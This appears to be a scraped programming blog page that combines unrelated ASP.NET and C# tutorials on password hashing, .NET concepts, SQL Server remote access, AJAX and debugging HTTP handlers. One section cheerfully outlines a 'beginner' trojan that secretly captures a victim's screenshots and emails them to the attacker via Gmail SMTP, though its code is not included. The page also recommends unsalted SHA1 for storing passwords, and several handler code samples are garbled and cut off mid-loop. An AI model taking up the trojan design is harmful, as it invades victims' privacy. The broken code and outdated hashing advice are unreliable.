Password Encrypt in ASP.Net C# - SHA1 encription with sample code

The code sample can be used in web pages to encrypt a password.The GetEncryptedPassword converts the plain text input to cipher text, in cryptography terminologies. To our use, is the static FormsAuthentication.HashPasswordForStoringInConfigFile() function that takes the plainText and also the algorithm that should be used to encrypt the password.In this example we use the SHA1 algorithm. Technically, the SHA1 algorithm is a hash algorithm and hence returns only a hash of the plaintext. A hashing algorithm one whose input size is not-fixed, but output's size is fixed. this is one way Encryption. you cant decrypt this password

C Sharp Basic Concept - framework tutorials

C# Language

C# does not allow multiple inheritances.
C# does not allow use of pointer.
Provide garbage memory collection at runtime.
C# comes with new and exciting features like reflection, marshalling, threads, remoting, attributes, streams and data Access with ADO.NET and more

The .NET Architecture and .NET Framework

The .Net Architecture and the .Net framework are different important terms and concept.

CLR (The Common Language Runtime)

The most important concept of the .Net Framework is the existence and functionality of Common Language Runtime (CLR).
It is also called .Net Runtime.
It is a framework layer that resides above the Operation system and handles all the execution of .Net application.

.Net programs are don’t diretly communicate with operating system bit go through the Common Language Runtime.

MSIL (Microsoft Intermediate Language)

When we compile our .net program using any .net compliant language such as C#, C++.NET VB.Net our source code does not get converted in to the executable binary code, but to an intermediate code known as MSIL which convert our program into executable binary code to CLR.

MSIL is operating system and hardware independent code.

Cross language relationships are possible as the MSIL code is similar for each .Net language.

Just in Time Complier (JIT)

When our MSIL compiled code needs to be executed, the CLR invokes the JIT compiler, which compile the IL code to native executable such as .exe or .dll that is designed for the specific machine and OS.

E.g. when a function is called, the IL of the functions body is converted to native code just in time. So, the part code is not used by that particular run is never converted to native code. if some IL code is converted to native code, then the next time it’s needed the CLR reuses the same copy without recompiling.

The Framework Class Library (FCL)

The .NET Framework provides a huge framework or Class library for common use (FCL). FCL contains thousands of classes to provide to Windows API and common functionalities like String Manipulation, Common Data Structure, IO, Streams, Threads, Security, and Web Programming etc.

The Common Language Specification (CLS)

CLS is simply called .Net compliant Language. All the .Net compliant language can make use of CLR and FCL. Microsoft has release a small set of specification that each language should meet a qualify as a .Net Compliant Language. As IL is a very rich language, its is not necessary for an language to implement all the IL functionality, rather, it merely needs to meet a small subset of CLS to qualify as a .Net Compliant language.

The Common Type Systems (CTS)

Like CLS, CTS is also a set of standards. CTS define the basics data types that IL understands. Each .Net compliant language should map its data types to these standard data types. For example CTS defines a type Int32, an integer data type of 32 bit94 byte) which is mapped by C# through int and VB.Net through Integer data types.

Garbage Collection (GC)

CLR also contains the garbage Collector (GC), which run in low-priority thread and checks for un-referenced dynamically allocated memory space.

The .Net Framework

The .Net framework is the combination of layers of CLR, FCL Data and XML Classes and our Windows, Web applications and Web services.

Avoid dropdownlist multiple selection problem

How to avoid Multiple selection not allowed in DropDownList problem

Trojan Programming for beginners in C# - sample source code

Trojan Programming for beginners by Raju.M

This articles mainly concentrated for only beginners
what is a Trojan ?
Trojan are simple programs, through the hacker can control over others system. Trojan Horse programs are appears something good and its actually work bad. for example one file like virusscan.exe, normally user can think thats is a virus scanner,and the user install that scanner file, but that file work for the hacker.
me also like to write trojan, i will paste my Trojan code below this article.i write in C#.NET because am a C# Programmer in Cochin.

Unlike viruses, trojan horses do not normally spread themselves. Trojan horses must be spread by other mechanisms.
A trojan horse virus is a virus which spreads by fooling an unsuspecting user into executing it.
An example of a trojan horse virus would be a virus which required a user to open an e-mail attachment in Microsoft Outlook to activate. Once activated, the trojan horse virus would send copies of itself to people in the Microsoft Outlook address book.
The trojan horse virus infects like a trojan horse, but spreads like a virus.

Common features of Trojan Programs :

• Capturing screenshots of your computer.

• Recording key strokes and sending files to the hacker

• Giving full Access to all your drives and files.

• Ability to use your computer to do other hacking related activities.

this is a simple code to send screen shots of victims computer. But C#.net want microsoft framework 2 to run the program. i use gmail smtp to send screen shots to my to my id.

first you create a gmail/yahoo/hotmail or any other email id and enable SMTP in that email

C# Code for very simple Trojan.

The transaction resulted in a AVS mismatch from Authorize.Net- error code 2|2|27

How to avoid "The transaction resulted in an AVS mismatch" From Authorize.net Response (error code 2|2|27)

Credit card processing via Authorize.Net.

Solve AVS mismatch problem in credit card processing.

AVS means Address Verification System. This error come when the card owners address mismatch with card owners back account.Authorize.Net compare both address(ie sent address and card owners bank account address).you can simply avoid this problem, when you pass two more variables to Authorize.Net.

These two

1:x_address =contains the address of the customer associated with the billing address for the transaction
2:x_zip =contains the zip of the customer associated with the billing address for the transaction

How to configure SQL Server 2005 to allow remote connections

How to configure SQL Server 2005 to allow remote connections

INTRODUCTION
When you try to connect to an instance of Microsoft SQL Server 2005 from a remote computer, you may receive an error message. This problem may occur when you use any program to connect to SQL Server. For example, you receive the following error message when you use the SQLCMD utility to connect to SQL Server:
Sqlcmd: Error: Microsoft SQL Native Client: An error has occurred while establishing a connection to the server. When connecting to SQL Server 2005, this failure may be caused by the fact that under the default settings SQL Server does not allow remote connections.
This problem may occur when SQL Server 2005 is not configured to accept remote connections. By default, SQL Server 2005 Express Edition and SQL Server 2005 Developer Edition do not allow remote connections. To configure SQL Server 2005 to allow remote connections, complete all the following steps:
• Enable remote connections on the instance of SQL Server that you want to connect to from a remote computer.
• Turn on the SQL Server Browser service.
• Configure the firewall to allow network traffic that is related to SQL Server and to the SQL Server Browser service.
This article describes how to complete each of these steps.


MORE INFORMATION
To enable remote connections on the instance of SQL Server 2005 and to turn on the SQL Server Browser service, use the SQL Server 2005 Surface Area Configuration tool. The Surface Area Configuration tool is installed when you install SQL Server 2005.


Enable remote connections for SQL Server 2005 Express or SQL Server 2005 Developer Edition
You must enable remote connections for each instance of SQL Server 2005 that you want to connect to from a remote computer. To do this, follow these steps:
1. Click Start, point to Programs, point to Microsoft SQL Server 2005, point to Configuration Tools, and then click SQL Server Surface Area Configuration.
2. On the SQL Server 2005 Surface Area Configuration page, click Surface Area Configuration for Services and Connections.
3. On the Surface Area Configuration for Services and Connections page, expand Database Engine, click Remote Connections, click Local and remote connections, click the appropriate protocol to enable for your environment, and then click Apply.

Note Click OK when you receive the following message:
Changes to Connection Settings will not take effect until you restart the Database Engine service.
4. On the Surface Area Configuration for Services and Connections page, expand Database Engine, click Service, click Stop, wait until the MSSQLSERVER service stops, and then click Start to restart the MSSQLSERVER service.


Enable the SQL Server Browser service
If you are running SQL Server 2005 by using an instance name and you are not using a specific TCP/IP port number in your connection string, you must enable the SQL Server Browser service to allow for remote connections. For example, SQL Server 2005 Express is installed with a default instance name of Computer Name\SQLEXPRESS. You are only required to enable the SQL Server Browser service one time, regardless of how many instances of SQL Server 2005 you are running. To enable the SQL Server Browser service, follow these steps.

Important These steps may increase your security risk. These steps may also make your computer or your network more vulnerable to attack by malicious users or by malicious software such as viruses. We recommend the process that this article describes to enable programs to operate as they are designed to, or to implement specific program capabilities. Before you make these changes, we recommend that you evaluate the risks that are associated with implementing this process in your particular environment. If you choose to implement this process, take any appropriate additional steps to help protect your system. We recommend that you use this process only if you really require this process.
1. Click Start, point to Programs, point to Microsoft SQL Server 2005, point to Configuration Tools, and then click SQL Server Surface Area Configuration.
2. On the SQL Server 2005 Surface Area Configuration page, click Surface Area Configuration for Services and Connections.
3. On the Surface Area Configuration for Services and Connections page, click SQL Server Browser, click Automatic for Startup type, and then click Apply.

Note When you click the Automatic option, the SQL Server Browser service starts automatically every time that you start Microsoft Windows.
4. Click Start, and then click OK.
Note When you run the SQL Server Browser service on a computer, the computer displays the instance names and the connection information for each instance of SQL Server that is running on the computer. This risk can be reduced by not enabling the SQL Server Browser service and by connecting to the instance of SQL Server directly through an assigned TCP port. Connecting directly to an instance of SQL Server through a TCP port is beyond the scope of this article. For more information about the SQL Server Browser server and connecting to an instance of SQL Server, see the following topics in SQL Server Books Online:
• SQL Server Browser Service
• Connecting to the SQL Server Database Engine
• Client Network Configuration


Create exceptions in Windows Firewall
These steps apply to the version of Windows Firewall that is included in Windows XP Service Pack 2 (SP2) and in Windows Server 2003. If you are using a different firewall system, see your firewall documentation for more information.

If you are running a firewall on the computer that is running SQL Server 2005, external connections to SQL Server 2005 will be blocked unless SQL Server 2005 and the SQL Server Browser service can communicate through the firewall. You must create an exception for each instance of SQL Server 2005 that you want to accept remote connections and an exception for the SQL Server Browser service.

SQL Server 2005 uses an instance ID as part of the path when you install its program files. To create an exception for each instance of SQL Server, you must identify the correct instance ID. To obtain an instance ID, follow these steps:
1. Click Start, point to Programs, point to Microsoft SQL Server 2005, point to Configuration Tools, and then click SQL Server Configuration Manager.
2. In SQL Server Configuration Manager, click the SQL Server Browser service in the right pane, right-click the instance name in the main window, and then click Properties.
3. On the SQL Server Browser Properties page, click the Advanced tab, locate the instance ID in the property list, and then click OK.
To open Windows Firewall, click Start, click Run, type firewall.cpl, and then click OK.
Create an exception for SQL Server 2005 in Windows Firewall
To create an exception for SQL Server 2005 in Windows Firewall, follow these steps:
1. In Windows Firewall, click the Exceptions tab, and then click Add Program.
2. In the Add a Program window, click Browse.
3. Click the C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe executable program, click Open, and then click OK.

Note The path may be different depending on where SQL Server 2005 is installed. MSSQL.1 is a placeholder for the instance ID that you obtained in step 3 of the previous procedure.
4. Repeat steps 1 through 3 for each instance of SQL Server 2005 that needs an exception.
Create an exception for the SQL Server Browser service in Windows Firewall
To create an exception for the SQL Server Browser service in Windows Firewall, follow these steps:
1. In Windows Firewall, click the Exceptions tab, and then click Add Program.
2. In the Add a Program window, click Browse.
3. Click the C:\Program Files\Microsoft SQL Server\90\Shared\sqlbrowser.exe executable program, click Open, and then click OK.

Note The path may be different depending on where SQL Server 2005 is installed.

AJAX Example - request and response codes

The keystone of AJAX is the XMLHttpRequest object.

Different browsers use different methods to create the XMLHttpRequest object.

Internet Explorer uses an ActiveXObject,

while other browsers(Mozilla,Netscape,Opera..) uses the built-in JavaScript object called XMLHttpRequest.

To create this object, and deal with different browsers, we are going to use a "try and catch" statement.
between script tag u can write this code to detect browser

function ajaxFunction()
{
var xmlHttp;
try
{
// Firefox, Opera 8.0+, Safari
xmlHttp=new XMLHttpRequest();
}
catch (e)
{
// Internet Explorer
try
 {
 xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
 }
catch (e)
 {
 try
   {
   xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
   }
 catch (e)
   {
   alert("Your browser does not support AJAX!");
   return false;
   }
 }
}
}

AJAX - Sending a Request to the Server

To send off a request to the server, we use the open() method and the send() method.

The open() method takes three arguments. The first argument defines which method to use when sending the request (GET or POST). The second argument specifies the URL of the server-side script. The third argument specifies that the request should be handled asynchronously. The send() method sends the request off to the server. If we assume that the HTML and ASP file are in the same directory, the code would be:

xmlHttp.open("GET","url",true);
xmlHttp.send(null);



xmlHttp.onreadystatechange=function()
 {
 if(xmlHttp.readyState==4)
   {
   document.myForm.Form_elemet.value=xmlHttp.responseText;
   }
 }
xmlHttp.open("GET","default.aspx",true);
xmlHttp.send(null);

Debugging an HTTP Handler (*.ashx) in ASP.NET 2.0

A handler is responsible for fulfilling requests from a browser. Requests that a browser manages are either handled by file extension (or lack thereof) or by calling the handler directly. Only one handler can be called per request. A handler does not have any HTML static text like .aspx or .ascx files. A handler is a class that implements the IHttpHandler interface. If you need to interact with any Session information, you will also need to implement IRequiresSessionState. If you want to make an asynchronus handler, you will need to implement the IHttpAsyncHandler interface instead of the IHttpHandler interface.

Calling a Handler by File Extension

A handler can be invoked by any file extension that is mapped via the web.config and the IIS file extension mappings. You can have a file named something.billybob where 'billybob' is the file extension, or you can have no file extension at all such as http://web/handler/file where a request for 'file' without an extension invokes a handler mapped to *.* or the directory as *.

Calling a Handler Directory

The code file for the handler has the file extension of 'ashx' on the web server. This file can be called directly via a browser without having to set up web.config or IIS file extension mappings. For example: http://web/handler/handler.ashx. Some examples of this hander type are photo albums, RSS feeds, and blogging sites. Each of these is a good example of work that can be better accomplished without standard HTML. A photo album involves directory crawling and responding with pictures. A RSS feed returns information in the correct format.

Trace.axd as an Example Handler

An example of a handler that is invoked by file extension is the Trace.axd file used for debugging. In order to invoke the Trace.axd handler, you configure the website for tracing by adding a trace section to web.config:







and call the trace.axd file from the root of the website such as http://localhost/trace.axd.

Required IIS Mappings for Handlers Called by File Extension

Handlers that are invoked based on a request's file extension require configuration in web.config and in the IIS file extension mapping. In order to see the file mapping of the *.axd file, open the IIS Manager and configure the application. Go to the 'Mappings' tab and scroll down until you see the .axd file extension.

Double-click on the .axd extension in order to see more details about this mapping.

Invoking handlers by file extension or no extension gives you flexibility about what is called and when. There are many articles on the web about file extension handlers so this article will focus on the handler that is called directly.

Creating a Handler

In order to create a handler code file, you need a web site in Visual Studio 2005 (or Visual Studio 2003 for a .NET 1.x handler). For a new website, select 'ASP.NET Web Site'.

This will create a web site with an App_Data directory and the default.aspx file. You won't use the default.aspx so you can either leave it alone or delete it.

You will need to create the web.config and the handler file by clicking on the website in the Solution Explorer and add new items of 'web.config' and 'Generic Handler'.

The handler code file will look like:

<%@ WebHandler Language="C#" Class="Handler" %>

using System;
using System.Web;

public class Handler : IHttpHandler {

public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
context.Response.Write("Hello World");
}

public bool IsReusable {
get {
return false;
}
}

}

At this point, build the project and set the handler.ashx file as the startup file. Start debugging. You will be prompted to allow the process to change your web.config to allow debug. Unless you want to type in the change to allow debugging yourself (""), accept this change.

In my brower, because my desktop is set-up to parse text/plain as XML, I get an error that looks like:

The handler.ashx that Visual Studio provided needs to be fixed before it will work. So change the Content Type from 'text/plain' to 'text/html'. Build, and debug again. You should get a response that looks like:

Handler.ashx

The handler.ashx file implements the IHttpHandler interface and has two methods of 'ProcessRequest' and 'IsReusable'. The 'ProcessRequest' is your main method where you put your code. The 'IsReusable' method is set to true by default and indicates whether another request can use the IHttpHandler instance. If the instance can be reused mark it true -- this will improve the speed of the handler, and reduce the work your server will have to do. But if your instance should not be reused, due to state or because it is ansychronous, you should set IsReusable to false.

Session State

Before continuing, change the handler.ashx code to implement the IRequiresSessionState interface. If you need read-only access to the Session, implement the IReadOnlySessionState interface. Both interfaces are in the System.Web.SessionState namespace which you will need to add with the 'using' syntax. The code should now look like:

<%@ WebHandler Language="C#" Class="Handler" %>

using System;
using System.Web;
using System.Web.SessionState;

public class Handler : IHttpHandler , IReadOnlySessionState{

public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/html";
context.Response.Write("Hello World");
}

public bool IsReusable {
get {
return false;
}
}

}

Set a break point for the first line in the class and start debugging again.

Handling Issues with a Debug Build

When you use a debug build, you have the full resources of the Visual Studio debugger, all .NET Framework namespaces, and any system utilities and applications. The Visual Studio Debugger allows you to view the call stack, local variables, any watch variables, etc. You are probably familiar with using these features to some degree. However, with a HTTP Hander, debugging is much more important because the only visual indication of a bug is whatever you code into the content.

Handling Issues with a Release Build

The release build is different from the debug build in both features and performance. When you are using a release build, it is probably in a production environment. As such, you will need to use a different set of tools to find your issues.

Debugging with System.Diagnostics Namespace

The Diagnostics namespace has many classes to help with debugging in release and debug mode. If you are debugging in release mode, you should use the Trace class. If you are debugging in debug mode, you should use the Assert class. This article doesn't cover all the abilities of this namespace so you should investigate what class will help you solve your immediate problem.

In order to show these classes in action, change the code to use the namespace and use an infinite loop. The assertion is throw when the expression in the assertion is false, so the assertion will throw when the counter is no longer less than 10.

<%@ WebHandler Language="C#" Class="Handler" %>

using System;
using System.Web;
using System.Web.SessionState;
using System.Diagnostics;

public class Handler : IHttpHandler , IReadOnlySessionState{

public void ProcessRequest (HttpContext context) {

context.Response.ContentType = "text/html";
context.Response.Write("Hello World");

int i=0;

while (1!=0)
{
Debug.Assert(i<10);>

Build and debug. Since there are no breakpoints set, the debugger will become active again when the assertion is hit. This is great if you know what the error is you are getting and can test for it. The first thing that happens is an assertion window pops up with information about the assertion. If you want the debugger to become active, click the "Retry" button. This will bring up the debugger at that assertion code line.

If you know a general code location you would like to look at instead of a specific Boolean statement to test for, you should use the Debugger.Break statement in your code. This will pop up the debugger as well. If you want to look at preconditions and then stop at the error, you can combine these two statements to quicken your debugging process. An example of that code is below:

<%@ WebHandler Language="C#" Class="Handler" %>

using System;
using System.Web;
using System.Web.SessionState;
using System.Diagnostics;

public class Handler : IHttpHandler , IReadOnlySessionState{

public void ProcessRequest (HttpContext context) {

context.Response.ContentType = "text/html";
context.Response.Write("Hello World");

Debugger.Break();

int i=0;

while (1!=0)
{
Debug.Assert(i<10);>

You can use the Debug.Write, Debug.WriteIf, Debug.WriteLine, and Debug.WriteLineIf to print to the Output window during a debug session. This could help you view the state of the HTTP Handler.

If you want to track down an issue in a release build, you will have to have a way of peering into the code. One way to do that is to add EventLog.WriteEntry statements into your code. This allows you to add information to the event log as the HTTP Hander is running. The WriteEntry method is heavily overloaded so you will need to determine the best method for your use. If you want to see information as a simple information entry in the event viewer, you just use one String argument. The Event Viewer needs to know the "Source" of the event so let's name it "HTTPHandler - DebugArticle". This should be easy to see in the Event Viewer. The code looks like:

<%@ WebHandler Language="C#" Class="Handler" %>

using System;
using System.Web;
using System.Web.SessionState;
using System.Diagnostics;

public class Handler : IHttpHandler , IReadOnlySessionState{

public void ProcessRequest (HttpContext context) {

context.Response.ContentType = "text/html";
context.Response.Write("Hello World");

int i=0;

// Create an EventLog instance and assign its source.
EventLog myLog = new EventLog();
myLog.Source = "HTTPHandler-DebugArticle";

while (i<100) 10="=">

Build a release version of the handler and call it. The output should only include the "Hello World" text. Open the Event Viewer, Application log. You should see several postings from the source of "HTTP Handler - DebugArticle".

If you open one of the events, you should see a simple output:

There are also classes to interact with the Performance monitor, and processes as well as several classes to help with logic flow.

Attaching to a Process to Debug a Running HTTP Handler

Another method of finding your issues is to attach to a process that contains the HTTP Handler. If you are running multiple websites where each website is in it's own process space, you may have to figure out the process id. The easiest way is to have your handler tell you. The System.Diagnostics namespace includes a class called Process which will help you determine the current process's id. In order to find the id, let's send the id to the event viewer by changing the code to:

<%@ WebHandler Language="C#" Class="Handler" %>

using System;
using System.Web;
using System.Web.SessionState;
using System.Diagnostics;

public class Handler : IHttpHandler , IReadOnlySessionState{

public void ProcessRequest (HttpContext context) {

context.Response.ContentType = "text/html";
context.Response.Write("Hello World");

int i=0;

Process.GetCurrentProcess().Id.ToString();

// Create an EventLog instance and assign its source.
EventLog myLog = new EventLog();
myLog.Source = "HTTPHandler-DebugArticle";
myLog.WriteEntry("Process Id is " + Process.GetCurrentProcess().Id.ToString());

while (i<100) 10="=">

The important code line here is in the loop and is an alteration to the string in the myLog.WriteEntry:Process.GetCurrentProcess().Id. The following figure shows what the Event Viewer entry looks like:

Now that you know the process id, you need to find this id in the Task Manager. In order to see process ids in the Task Manager, click to the Process tab then click on View and choose Select Columns. Click on PID (Process Identifier) and OK out of the Dialogs. The list of processes should now include the PID, which you can sort by if you click on the column name. Once you find the right process id in the list, right click on it and choose Debug. This will start Visual Studio. You will have to open your code file from Visual Studio and debug at that point.
